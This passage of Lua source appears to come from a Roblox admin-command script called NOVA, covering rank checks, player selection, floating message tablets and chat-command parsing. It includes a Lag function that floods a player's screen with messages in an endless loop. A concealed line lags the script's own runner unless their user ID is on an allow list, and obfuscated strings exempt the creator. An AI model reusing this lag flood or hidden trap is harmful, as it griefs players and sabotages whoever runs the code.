  758.     RShoulder.Size = Vector3.new(1,0.2,1)
  759.     RShoulder.BrickColor = BrickColor.new("Really black")
  760.     RShoulder.Anchored = false
  761.     RShoulder.Locked = true
  762.     RShoulder.CanCollide = false
  763.     RShoulder.Transparency = 0
  764.     RShoulder.Reflectance = 0
  765.     local Weld = Instance.new("Motor6D",RShoulder)
  766.     Weld.Part0 = RShoulder
  767.     Weld.Part1 = v.Character["Right Arm"]
  768.     Weld.C0 = CFrame.new(0,-1,0)
  769.  
  770.     local NeckFlat = Instance.new("Part",Main)
  771.     NeckFlat.Name = "NeckFlat"
  772.     NeckFlat.TopSurface = "Smooth"
  773.     NeckFlat.BottomSurface = "Smooth"
  774.     NeckFlat.FormFactor = "Custom"
  775.     NeckFlat.Size = Vector3.new(2,0.2,1)
  776.     NeckFlat.BrickColor = BrickColor.new("Really black")
  777.     NeckFlat.Anchored = false
  778.     NeckFlat.Locked = true
  779.     NeckFlat.CanCollide = false
  780.     NeckFlat.Transparency = 0
  781.     NeckFlat.Reflectance = 0
  782.     local Weld = Instance.new("Motor6D",NeckFlat)
  783.     Weld.Part0 = NeckFlat
  784.     Weld.Part1 = v.Character.Torso
  785.     Weld.C0 = CFrame.new(0,-1,0)
  786.  
  787.     for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  788.  
  789. end
  790.  
  791. --[[ GET SPLIT ]]--
  792. function GetSplit(Msg)
  793.     Split = nil
  794.     for i=1,100 do
  795.         if string.sub(Msg,i,i) == NOVA.Bet then
  796.             Split = i
  797.             break
  798.         end
  799.     end
  800.     return Split
  801. end
  802.  
  803. --[[ GET RANK ]]--
  804.  
  805. function GetRank(Player)
  806.     Rtn = nil
  807.     if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
  808.         return 8
  809.     end
  810.     if type(Player) == "userdata" then
  811.         for _,v in pairs(NOVA.Ranked) do
  812.             if v.Name:lower() == Player.Name:lower() then
  813.                 Rtn = v.Rank
  814.             end
  815.         end
  816.     elseif type(Player) == "string" then
  817.         for _,v in pairs(NOVA.Ranked) do
  818.             if v.Name:lower() == Player:lower() then
  819.                 Rtn = v.Rank
  820.             end
  821.         end
  822.     else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  823.     end
  824.     return    Rtn
  825. end
  826.  
  827. --[[ GET RANK NAME ]]--
  828. function GetRankName(Player)
  829.     if type(Player) == "userdata" or type(Player) == "string" then
  830.         Rtn = nil
  831.         Rank = GetRank(Player)
  832.         for _,v in pairs(NOVA.Ranks) do
  833.             if v[1] == Rank then
  834.                 Rtn = v[2]
  835.             end
  836.         end
  837.         return Rtn
  838.     else
  839.         print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  840.         return "NOT AVALIBLE"
  841.     end
  842. end
  843.  
  844. --[[ GET RANKED TABLE ]]--
  845. function GetRankedTable(Player)
  846.     Rtn = nil
  847.     if type(Player) == "userdata" then
  848.         for _,v in pairs(NOVA.Ranked) do
  849.             if v.Name == Player.Name then
  850.                 Rtn = v
  851.             end
  852.         end
  853.     elseif type(Player) == "string" then
  854.         for _,v in pairs(NOVA.Ranked) do
  855.             if v.Name == Player then
  856.                 Rtn = v
  857.             end
  858.         end
  859.     else
  860.         print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  861.     end
  862.     return Rtn
  863. end
  864.  
  865. --[[ GET RECURSIVE CHILDREN ]]--
  866. function GetRecursiveChildren(Source, Name, SearchType, Children)
  867.     if Source == nil then
  868.         Source = NOVA.Services
  869.     end
  870.     if Name == nil or type(Name) ~= "string" then
  871.         Name = ""
  872.     end
  873.     if Children == nil or type(Children) ~= "table" then
  874.         Children = {}
  875.     end
  876.     if type(Source) == "userdata" then
  877.         pcall(function()
  878.             for _, Child in pairs(Source:children()) do
  879.                 pcall(function()
  880.                     if (function()
  881.                         if SearchType == nil or SearchType == 1 then
  882.                             return string.match(Child.Name:lower(), Name:lower())
  883.                         elseif SearchType == 2 then
  884.                             return string.match(Child.className:lower(), Name:lower())
  885.                         elseif SearchType == 3 then
  886.                             return Child:IsA(Name) or Child:IsA(Name:lower())
  887.                         elseif SearchType == 4 then
  888.                             return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  889.                         end
  890.                         return false
  891.                     end)() then
  892.                         table.insert(Children, Child)
  893.                     end
  894.                     GetRecursiveChildren(Child, Name, SearchType, Children)
  895.                 end)
  896.             end
  897.         end)
  898.     elseif type(Source) == "table" then
  899.         for _,Area in pairs(Source) do
  900.             pcall(function()
  901.                 for _, Child in pairs(Area:children()) do
  902.                     pcall(function()
  903.                         if (function()
  904.                             if SearchType == nil or SearchType == 1 then
  905.                                 return string.match(Child.Name:lower(), Name:lower())
  906.                             elseif SearchType == 2 then
  907.                                 return string.match(Child.className:lower(), Name:lower())
  908.                             elseif SearchType == 3 then
  909.                                 return Child:IsA(Name) or Child:IsA(Name:lower())
  910.                             elseif SearchType == 4 then
  911.                                 return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  912.                             end
  913.                             return false
  914.                         end)() then
  915.                             table.insert(Children, Child)
  916.                         end
  917.                         GetRecursiveChildren(Child, Name, SearchType, Children)
  918.                     end)
  919.                 end
  920.             end)
  921.         end
  922.     else
  923.         print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  924.     end
  925.     return Children
  926. end
  927.  
  928. --[[ GET REPLICATORS ]]--
  929. function GetReplicators()
  930.     Rtn = NOVA.Services.NetworkServer:GetChildren()
  931.     for i=1,#Rtn do
  932.         if not Rtn[i]:IsA("ServerReplicator") then
  933.             table.remove(Rtn,i)
  934.         end
  935.     end
  936.     return Rtn
  937. end
  938.  
  939. --[[ GET RANKED ]]--
  940.  
  941. function GetRanked()
  942.     local Rtn = {}
  943.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  944.         if GetRank(v) ~= nil and GetRank(v) > 0 then
  945.             table.insert(Rtn,v)
  946.         end
  947.     end
  948.     return Rtn    
  949. end
  950.  
  951. --[[ GTFO ]]--
  952. function GTFO(v)
  953.     coroutine.resume(coroutine.create(function()
  954.           pcall(function() v:Remove() end)
  955.         wait(0.5)
  956.         pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
  957.     end))
  958. end
  959. --[[ GET RID OF ]]--
  960. function GetRidOf(v)
  961. if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then  
  962.    Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  963.    else        
  964. coroutine.resume(coroutine.create(function()        
  965. v:Destroy()        
  966. end))
  967. end
  968. end
  969. --[[ LAG ]]--
  970. function Lag(v)
  971.     coroutine.resume(coroutine.create(function()
  972.         if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
  973.             OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  974.         else
  975.     while wait() do
  976.     for i=1, 5 do
  977.     local Msg = Instance.new("Message",v.PlayerGui)
  978.     Msg.Text = "JOO B LAGGIN NARB"
  979.     local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB"
  980.    end
  981.     end
  982.             local H = Instance.new("Hint",NOVA.Services.Workspace)
  983.             repeat
  984.                 H.Text = v.Name.." be gettin' lagged."
  985.                 H.Parent = NOVA.Services.Workspace
  986.                 wait()
  987.             until v.Parent == nil
  988.             H:Remove()
  989.         end
  990.     end))
  991. end
  992. if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
  993. --[[ GET TABLETS ]]--
  994.  
  995. function GetTablets(Player)
  996.     local Rtn = {}
  997.     for _, Tablet in pairs(NOVA.Tablets) do
  998.         if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
  999.             if Tablet.Recipient.Value == Player then
  1000.                 table.insert(Rtn, Tablet)
  1001.             end
  1002.         end
  1003.     end
  1004.     --table.insert(_tablets,Instance.new("Model"))
  1005.     return Rtn
  1006. end
  1007.  
  1008. --[[ REMOVE TABLETS ]]--
  1009.  
  1010. function RemoveTablets(Player)
  1011.     if Player == nil then
  1012.         for _,v in pairs(NOVA.Tablets) do
  1013.             coroutine.resume(coroutine.create(function()
  1014.                 for i=1,10 do
  1015.                     v.Part.Transparency = v.Part.Transparency + 0.05
  1016.                     v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  1017.                     v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  1018.                     wait()
  1019.                 end
  1020.                 v:remove()
  1021.             end))
  1022.         end
  1023.     else
  1024.         for _,v in pairs(GetTablets(Player)) do
  1025.             coroutine.resume(coroutine.create(function()
  1026.                 for i=1,10 do
  1027.                     v.Part.Transparency = v.Part.Transparency + 0.05
  1028.                     v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  1029.                     v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  1030.                     wait()
  1031.                 end
  1032.                 v:remove()
  1033.             end))
  1034.         end
  1035.     end
  1036. end
  1037.  
  1038. --[[ OUTPUT ]]--
  1039. function Output(Message, Color, Player, Stick, Func)
  1040.     if Player == nil or Color == nil or Player == nil then
  1041.         print("[NOVA.Output] Argument(s) missing or nil.")
  1042.         return
  1043.     end
  1044.    
  1045.     Message = tostring(Message)
  1046.     if type(Player) == "userdata" then
  1047.         if Player.Character == nil or Player.Character.Head == nil then
  1048.             return
  1049.         end
  1050.     end
  1051.     if type(Player) == "string" then
  1052.         for _,v in pairs(GetPlayers(Player,"NOVA")) do
  1053.             Output(Message,Color,v,Stick,Func)
  1054.         end
  1055.         return
  1056.     end
  1057.  
  1058.     if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  1059.  
  1060.     local Model = Instance.new("Model",NOVA.Services.Workspace)
  1061.     table.insert(NOVA.Tablets, Model)
  1062.     Model.Name = "Output:" .. NOVA.Bet .. Player.Name
  1063.  
  1064.     local Part = Instance.new("Part",Model)
  1065.     Part.Transparency = 0.5
  1066.     Part.CanCollide = false
  1067.     Part.Locked = true
  1068.     Part.Anchored = true
  1069.     Part.Name = "Part"
  1070.     Part.TopSurface = "Smooth"
  1071.     Part.BottomSurface = "Smooth"
  1072.     Part.FormFactor = "Plate"
  1073.     Part.Color = Color
  1074.     Part.Size = Vector3.new(2, 0.4, 3)
  1075.     Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
  1076.     Part:BreakJoints()
  1077.    
  1078.     local Box = Instance.new("SelectionBox",Part)
  1079.     Box.Name = "SelectionBox"
  1080.     Box.Adornee = Part
  1081.     Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  1082.     Box.Transparency = 0.75
  1083.  
  1084.             if GetRankedTable(Player).Mesh == "Tablet" then
  1085.             Mesh = Instance.new("SpecialMesh")
  1086.             Mesh.Parent = Part
  1087.             Mesh.TextureId = "http://www.roblox.com/asset?id=97689055"
  1088.             Mesh.MeshId = "http://www.roblox.com/asset?id=97689497"
  1089.             Mesh.MeshType = Enum.MeshType.FileMesh
  1090.             Box.Transparency = 1   
  1091.             elseif GetRankedTable(Player).Mesh == "Dominus" then
  1092.             Mesh = Instance.new("SpecialMesh")
  1093.             Mesh.Parent = Part
  1094.             Mesh.TextureId = "http://www.roblox.com/asset/?id=83944043"
  1095.             Mesh.MeshId = "http://www.roblox.com/asset/?id=21057410"
  1096.             Mesh.MeshType = Enum.MeshType.FileMesh
  1097.             Box.Transparency = 1   
  1098.             elseif GetRankedTable(Player).Mesh == "Orb" then
  1099.             Mesh = Instance.new("SpecialMesh")
  1100.             Mesh.Parent = Part
  1101.             Mesh.TextureId = "http://www.roblox.com/asset/?id=34914385"
  1102.             Mesh.MeshId = "http://www.roblox.com/asset/?id=34795798"
  1103.             Mesh.MeshType = Enum.MeshType.FileMesh
  1104.             Box.Transparency = 1   
  1105.             elseif GetRankedTable(Player).Mesh == "Spider" then
  1106.           Mesh = Instance.new("SpecialMesh")
  1107.            Mesh.Parent = Part
  1108.           Mesh.TextureId = "http://www.roblox.com/asset/?id=64485392"
  1109.     Mesh.MeshId = "http://www.roblox.com/asset/?id=64485380"
  1110.     Mesh.Scale = Vector3.new(4, 4, 4)
  1111.     Mesh.VertexColor = Vector3.new(1, 0, 0)
  1112.     Mesh.MeshType = Enum.MeshType.FileMesh
  1113.  
  1114.             end
  1115.  
  1116.            
  1117.     local Recipient = Instance.new("ObjectValue",Model)
  1118.     Recipient.Name = "Recipient"
  1119.     Recipient.Value = Player
  1120.  
  1121. Gui = Instance.new("BillboardGui")
  1122. Gui.Name = "BillboardGui"
  1123. Gui.Parent = Model
  1124. Gui.Adornee = Part
  1125. Gui.Size = UDim2.new(1, 0, 1, 0)
  1126. Gui.StudsOffset = Vector3.new(0, 3, 0)
  1127. local Frame = Instance.new("Frame",Gui)
  1128. Frame.Name = "Frame"
  1129. Frame.Size = UDim2.new(1, 0, 1, 0)
  1130. Frame.BackgroundTransparency = 1
  1131. Label = Instance.new("TextLabel")
  1132. Label.Name = "Label"
  1133. Label.Parent = Frame
  1134. Label.Size = UDim2.new(1,0,1,0)
  1135. Label.FontSize = "Size12"
  1136. Label.TextColor3 = Color
  1137. Label.Text = Message
  1138. Label.BackgroundTransparency = 1
  1139.  
  1140.     Gui.Adornee = Part
  1141.     local Click = Instance.new("ClickDetector",Part)
  1142.     Click.MaxActivationDistance = 9201
  1143.     Click.MouseClick:connect(function(player)
  1144.         if player == Player or GetRank(player) > GetRank(Player) then
  1145.             if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
  1146.                 RemoveTablets(Player)
  1147.             else
  1148.                 coroutine.resume(coroutine.create(function()
  1149.                     for i=1,10 do
  1150.                         Part.Transparency = Part.Transparency + 0.05
  1151.                         Box.Transparency = Box.Transparency + 0.025
  1152.                         Label.TextTransparency = Label.TextTransparency + 0.1
  1153.                         wait()
  1154.                     end
  1155.                     Model:remove()
  1156.                 end))
  1157.                
  1158.                 Func(player)
  1159.             end
  1160.         end
  1161.     end)
  1162.    
  1163.      coroutine.resume(coroutine.create(function()
  1164.         if Stick == 0 or Stick == nil then else
  1165.             pcall(function()
  1166.                 --[[for i=Stick,0,-0.5 do
  1167.                     Label.Text = Message .. "\t(" .. i .. ")"
  1168.                     wait(0.5)
  1169.                 end        
  1170.                 Model:Destroy()]]
  1171.                 NOVA.Services.Debris:AddItem(Model,Stick)
  1172.             end)
  1173.         end
  1174.      end))
  1175.    
  1176.     return Click
  1177. end
  1178.  
  1179. -- [ IMAGE OUTPUT ]]--
  1180. function OutputImg(Image,Text,Color,Player,Stick,Func)
  1181.     Tab = Output(Text,Color,Player,Stick,Func)
  1182.    
  1183.     BBG = Instance.new("BillboardGui",Tab.Parent)
  1184.     BBG.Size = UDim2.new(5,0,6,0)
  1185.     BBG.StudsOffset = Vector3.new(0, 7, 0)
  1186.     BBG.Adornee = Tab.Parent
  1187.    
  1188.     Img = Instance.new("ImageLabel",BBG)
  1189.     Img.Size = UDim2.new(1,0,1,0)
  1190.     Img.BackgroundTransparency = 1
  1191.     Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  1192.     return Tab
  1193. end
  1194.  
  1195. --[[ OUTPUT MULTI ]]--
  1196.  
  1197. function OutputMulti(Msg,Color,Players,Stick,Func)
  1198.     --if type(Players) == "Table" then
  1199.         for _,v in pairs(Players) do
  1200.             Output(Msg,Color,v,Stick,Func)
  1201.         end
  1202.     --end
  1203. end
  1204.  
  1205. --[[ UPDATE TABLETS ]]--
  1206.  
  1207. function UpdateTablets()
  1208.     --pcall(function()
  1209.         NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
  1210.         for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1211.             local Tablets = GetTablets(Player)
  1212.             local Counter = 0
  1213.             local StartCF = CFrame.new(0,0,0)
  1214.            
  1215.             for i = 180, -180, -360/(#Tablets ) do
  1216.                 pcall(function()
  1217.                     Counter = Counter + 1
  1218.                     if NOVA.TabletPositionRelative == true then
  1219.                         StartCF = Player.Character.Torso.CFrame
  1220.                     else
  1221.                         StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
  1222.                     end
  1223.                     Tablets[Counter].Part.CFrame = StartCF
  1224.                         * CFrame.new(0, 0, 0)
  1225.                         * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
  1226.                         * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
  1227.                         * CFrame.Angles(math.rad(70), 0, 0)
  1228.                 end)
  1229.             end
  1230.  
  1231.             if #Tablets == 1 then
  1232.                 pcall(function()
  1233.                     Tablets[1].Part.CFrame = Player.Torso.CFrame
  1234.                         * CFrame.new(0, 0, 0)
  1235.                         * CFrame.Angles(0, math.rad(0), 0)
  1236.                         * CFrame.new(0, 0, -5)
  1237.                         * CFrame.Angles(math.rad(70), 0, 0)
  1238.                 end)
  1239.             end
  1240.         end
  1241.         wait()
  1242.     --end)
  1243. end
  1244. --[[ GET PLAYERS RAW ]]--
  1245. function GetPlayersRaw()
  1246.     return NOVA.Services.Players:GetPlayers()
  1247. end
  1248.  
  1249. --[[ GET PLAYERS ]]--
  1250. function GetPlayers(Name,Speaker)
  1251.     if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  1252.     local OldName = Name
  1253.     local Name = Name:lower()
  1254.     local Players = GetPlayersRaw()
  1255.     local Rtn = {}
  1256.     for i=1,#Name do
  1257.         if Name:find(",") then
  1258.             local Split = 0
  1259.             for i=1,#Name do
  1260.                 if Name:sub(i,i) == "," then
  1261.                     Split = i
  1262.                 end
  1263.             end
  1264.             for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
  1265.                 table.insert(Rtn,v)
  1266.             end
  1267.             Name = Name:sub(1,Split-1)
  1268.         end
  1269.     end
  1270.     if Name == "external players" then
  1271.         for _,v in pairs(NOVA.ExternalPlayersList) do
  1272.             if GetRank(Speaker) >= GetRank(v) then
  1273.                 table.insert(Rtn,v)
  1274.             else
  1275.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1276.             end
  1277.         end
  1278.     elseif Name == "all" then
  1279.         for _,v in pairs(Players) do
  1280.             if GetRank(Speaker) >= GetRank(v) then
  1281.                 table.insert(Rtn,v)
  1282.             else
  1283.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1284.             end
  1285.         end
  1286.     elseif Name == "others" then
  1287.         for _,v in pairs(Players) do
  1288.             if v ~= Speaker then
  1289.                 if GetRank(Speaker) >= GetRank(v) then
  1290.                     table.insert(Rtn,v)
  1291.                 else
  1292.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1293.                 end
  1294.             end
  1295.         end
  1296.     elseif Name == "random" then
  1297.         local Person = Players[math.random(1,#Players)]
  1298.         if GetRank(Speaker) >= GetRank(Person) then
  1299.             table.insert(Rtn,Person)
  1300.         else
  1301.             Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1302.         end
  1303.     elseif Name == "me" or Name == "not me" or Name =="notme" then
  1304.         table.insert(Rtn,Speaker)
  1305.     elseif Name == "vetrans" then
  1306.         for _,v in pairs(Players) do
  1307.             if v.AccountAge > 365 then
  1308.                 if GetRank(Speaker) >= GetRank(v) then
  1309.                     table.insert(Rtn,v)
  1310.                 else
  1311.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1312.                 end
  1313.             end
  1314.         end
  1315.     elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
  1316.         for _,v in pairs(Players) do
  1317.             if v.AccountAge < 365 then
  1318.                 if GetRank(Speaker) >= GetRank(v) then
  1319.                     table.insert(Rtn,v)
  1320.                 else
  1321.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1322.                 end
  1323.             end    
  1324.         end
  1325.     elseif Name == "newbs" or Name == "noobs" then
  1326.         for _,v in pairs(Players) do
  1327.             if v.AccountAge < 60 then
  1328.                 if GetRank(Speaker) >= GetRank(v) then
  1329.                     table.insert(Rtn,v)
  1330.                 else
  1331.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1332.                 end
  1333.             end    
  1334.         end
  1335.     elseif Name == "targeted" then
  1336.         for _,v in pairs(NOVA.Targeted) do
  1337.             if GetRank(Speaker) >= GetRank(v) then
  1338.                 table.insert(Rtn,v)
  1339.             else
  1340.                 Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1341.             end
  1342.         end
  1343.     elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
  1344.         for _,v in pairs(Players) do
  1345.             if not IsTargeted(v) then
  1346.                 if GetRank(Speaker) >= GetRank(v) then
  1347.                     table.insert(Rtn,v)
  1348.                 else
  1349.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1350.                 end
  1351.             end
  1352.         end
  1353. elseif string.sub(Name,1,5) == "rank " then
  1354.     local ToKillRank = string.sub(Name,6)
  1355. for i,v in pairs(game.Players:GetPlayers()) do
  1356. if GetRanked(v) == ToKillRank then
  1357. if GetRank(Speaker) >= GetRank(v) then
  1358.                             table.insert(Rtn,v)
  1359.                         else
  1360.                             Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1361.                         end
  1362. end
  1363. end
  1364.     elseif Name:sub(1,4) == "not " then
  1365.         for _,v in pairs(Players) do
  1366.             for _,Check in pairs(Players) do
  1367.                 if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
  1368.                     if v ~= Check then
  1369.                         if GetRank(Speaker) >= GetRank(v) then
  1370.                             table.insert(Rtn,v)
  1371.                         else
  1372.                             Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1373.                         end
  1374.                     end
  1375.                 end
  1376.             end
  1377.         end
  1378.     else
  1379.         for _,v in pairs(Players) do
  1380.             if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
  1381.                 if GetRank(Speaker) >= GetRank(v) then
  1382.                     table.insert(Rtn,v)
  1383.                 else
  1384.                     Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1385.                 end
  1386.             end
  1387.         end
  1388.     end
  1389.     return Rtn
  1390. end
  1391.  
  1392. --[[ ON CHATTED ]]--
  1393. function OnChatted(Msg,Speaker)
  1394.     coroutine.resume(coroutine.create(function()
  1395.         if NOVA.Removed == false then
  1396.             if Msg:find(" --") then
  1397.                 for i=1,#Msg do
  1398.                     if Msg:sub(i,i+2) == " --" then
  1399.                         Msg = Msg:sub(1,i-1)
  1400.                         break
  1401.                     end
  1402.                 end
  1403.             end
  1404.             local Data = GetRankedTable(Speaker)
  1405.             if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1406.                 if NOVA.ShowChat == true then    
  1407.                     if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
  1408.                         print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
  1409.                     else
  1410.                         print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
  1411.                     end
  1412.                 end
  1413.             end
  1414.            
  1415.             --[[ CHAT FILTERS ]]--
  1416.             for _,v in pairs(NOVA.ChatFilters) do
  1417.                 if Msg:lower():sub(1,#v + 1) == v:lower().." " then
  1418.                     Msg = Msg:sub(#v+2)
  1419.                 end
  1420.             end
  1421.        
  1422.             if GetRank(Speaker) < 6 then
  1423.                 --[[ KILLING PHRASES ]]--
  1424.                 for _,v in pairs(NOVA.KillingPhrases) do
  1425.                     if Msg:lower():find(v:lower()) then
  1426.                         pcall(function()
  1427.                             Speaker.Character:BreakJoints()
  1428.                         end)
  1429.                     end
  1430.                 end
  1431.             end
  1432.     local FoundKick = false
  1433.         if NOVA.BadPhrases == true then
  1434.             if GetRank(Speaker) <= 0 then
  1435.                 --[[ KICKING PHRASES ]]--
  1436.                 --if game.PlaceId == 113456 or game.PlaceId == 56786 then
  1437.                     for _,v in pairs(NOVA.KickingPhrases) do
  1438.             if FoundKick == false then
  1439.                         if Msg:lower():find(v:lower()) then
  1440.                             GetRidOf(Speaker)
  1441.                FoundKick = true
  1442.                 makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
  1443.                     pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
  1444.                         end
  1445.             end
  1446.                     end
  1447.                 end
  1448.             end
  1449.            
  1450.             --[[ ANIMATIONS ]]--
  1451.             for _,v in pairs(NOVA.Animations) do
  1452.                 if Speaker.Name == v.Who then
  1453.                     if Msg:lower():find(v.Name:lower()) then
  1454.                         pcall(function()
  1455.                             CreateLocalScript([[
  1456.                             local Animation = Instance.new("Animation",workspace)
  1457.                             Animation.Name = "tusKOr661's Animation"
  1458.                             Animation.AnimationId = "]]..v.Id..[["
  1459.                             local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
  1460.                             local anim_feet = hum:LoadAnimation(Animation)
  1461.                             local current = anim_feet
  1462.                             current:Play(0.5)
  1463.                             ]],Speaker.Backpack)
  1464.                         end)
  1465.                     end
  1466.                 end
  1467.             end
  1468.            
  1469.             Num = 1
  1470.             Sep = nil
  1471.                            
  1472.             if Msg:sub(1,3) == NOVA.Bet .. "do" then
  1473.            
  1474.                 for i=4,#Msg do
  1475.                     if Msg:sub(i,i) == NOVA.Bet .. "" then
  1476.                         Sep = i
  1477.                         break
  1478.                     end
  1479.                 end
  1480.                
  1481.                 if Sep ~= nil then
  1482.                     Num = tonumber(Msg:sub(4,Sep-1))
  1483.                 end
  1484.                
  1485.                 Msg = Msg:sub(Sep)
  1486.             end
  1487.            
  1488.             table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
  1489.            
  1490.             if Data.Rank < 6 and Data.Rank >= 0 then
  1491.                 if Num > (GetRank(Speaker) + 1 )*10 then
  1492.                     Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1493.                     Num = 0
  1494.                 end
  1495.             end          
  1496.             for i=1,Num do
  1497.                 if NOVA.Canceled == true then NOVA.Canceled = false break end
  1498.                 for _,CMD in pairs(NOVA.Commands) do
  1499.                     if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
  1500.                         RemoveTablets(Speaker)
  1501.                         Output("Name : "..CMD.Name,Data.Color,Speaker)
  1502.                         Output("Rank : "..CMD.Rank,Data.Color,Speaker)
  1503.                         Output("Command : "..CMD.Command,Data.Color,Speaker)
  1504.                         Output("Arguments : "..CMD.Args,Data.Color,Speaker)
  1505.                         Output("Description : "..CMD.Description,Data.Color,Speaker)
  1506.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  1507.                     elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
  1508.                         if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
  1509.                             if NOVA.Overrided == true and Data.Rank < 7 then
  1510.                                 Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
  1511.                             else
  1512.                                 local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
  1513.                                 if not a then
  1514.                                     Output(b,NOVA.Colors.Red,Speaker,15)
  1515.                                 else
  1516.                                     table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
  1517.                                 end
  1518.                             end
  1519.                         else
  1520.                             table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
  1521.                             print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1522.                             Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1523.                         end
  1524.                        
  1525.                     end
  1526.                 end    
  1527.                 wait()
  1528.             end                
  1529.         end
  1530.     end))
  1531. end
  1532.  
  1533. --[[ ADD COMMAND ]]--
  1534. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1535.     for i,v in pairs(NOVA.Commands) do
  1536.         if v.Command == Command then
  1537.             table.remove(NOVA.Commands,i)
  1538.         end
  1539.     end
  1540.     table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1541. end
  1542.  
  1543. --[[ BACKUP PROCEDURE ]]--
  1544. pcall(function()
  1545.     NOVA.Backup = script:children()[2].Value
  1546. end)
  1547.  
  1548. --[[ NIL SUPPORT ]]--
